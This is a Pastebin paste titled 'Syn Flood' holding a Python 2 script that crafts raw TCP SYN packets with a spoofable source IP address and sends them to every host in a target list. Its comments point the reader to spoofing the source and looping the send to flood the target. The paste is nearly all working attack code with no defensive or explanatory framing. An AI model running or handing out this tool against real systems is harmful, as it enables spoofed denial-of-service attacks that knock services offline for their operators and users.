opsftw

Syn Flood

Mar 28th, 2015
809
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.07 KB | None | 0 0
  1. '''
  2. @Title Syn Flood
  3. @Author Tuxedo
  4. '''
  5. # some imports
  6. import socket, sys
  7. from struct import *
  8.  
  9. if len(sys.argv) < 3:
  10.     print sys.argv[0], ' <Destination IP List FIle> <Source IP Address>',
  11.     sys.exit()
  12. dest_file = sys.argv[1]
  13. source_ip = sys.argv[2]
  14.  
  15.  
  16. # checksum functions needed for calculation checksum
  17. def checksum(msg):
  18.     s = 0
  19.     # loop taking 2 characters at a time
  20.     for i in range(0, len(msg), 2):
  21.         w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
  22.         s = s + w
  23.     s = (s>>16) + (s & 0xffff);
  24.     #s = s + (s >> 16);
  25.     #complement and mask to 4 byte short
  26.     s = ~s & 0xffff
  27.     return s
  28.  
  29. #create a raw socket
  30. try:
  31.     s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  32. except socket.error , msg:
  33.     print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
  34.     sys.exit()
  35.  
  36. # tell kernel not to put in headers, since we are providing it
  37. s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  38.  
  39. dfile = open(dest_file,"r")
  40. for dest_ip in dfile.readlines():
  41.     # now start constructing the packet
  42.     packet = '';
  43.    
  44.     # ip header fields
  45.     ihl = 5
  46.     version = 4
  47.     tos = 0
  48.     tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??
  49.     id = 54321  #Id of this packet
  50.     frag_off = 0
  51.     ttl = 255
  52.     protocol = socket.IPPROTO_TCP
  53.     check = 10  # python seems to correctly fill the checksum
  54.     saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
  55.     daddr = socket.inet_aton ( dest_ip )
  56.      
  57.     ihl_version = (version << 4) + ihl
  58.      
  59.     # the ! in the pack format string means network order
  60.     ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
  61.      
  62.     # tcp header fields
  63.     source = 1234   # source port
  64.     dest = 80   # destination port
  65.     seq = 0
  66.     ack_seq = 0
  67.     doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
  68.     #tcp flags
  69.     fin = 0
  70.     syn = 1
  71.     rst = 0
  72.     psh = 0
  73.     ack = 0
  74.     urg = 0
  75.     window = socket.htons (5840)    #   maximum allowed window size
  76.     check = 0
  77.     urg_ptr = 0
  78.      
  79.     offset_res = (doff << 4) + 0
  80.     tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
  81.      
  82.     # the ! in the pack format string means network order
  83.     tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)
  84.      
  85.     # pseudo header fields
  86.     source_address = socket.inet_aton( source_ip )
  87.     dest_address = socket.inet_aton(dest_ip)
  88.     placeholder = 0
  89.     protocol = socket.IPPROTO_TCP
  90.     tcp_length = len(tcp_header)
  91.      
  92.     psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
  93.     psh = psh + tcp_header;
  94.      
  95.     tcp_checksum = checksum(psh)
  96.      
  97.     # make the tcp header again and fill the correct checksum
  98.     tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
  99.      
  100.     # final full packet - syn packets dont have any data
  101.     packet = ip_header + tcp_header
  102.      
  103.     #Send the packet finally - the port specified has no effect
  104.     s.sendto(packet, (dest_ip , 0 ))    # put this in a loop if you want to flood the target
Advertisement
Add Comment
Please, Sign In to add comment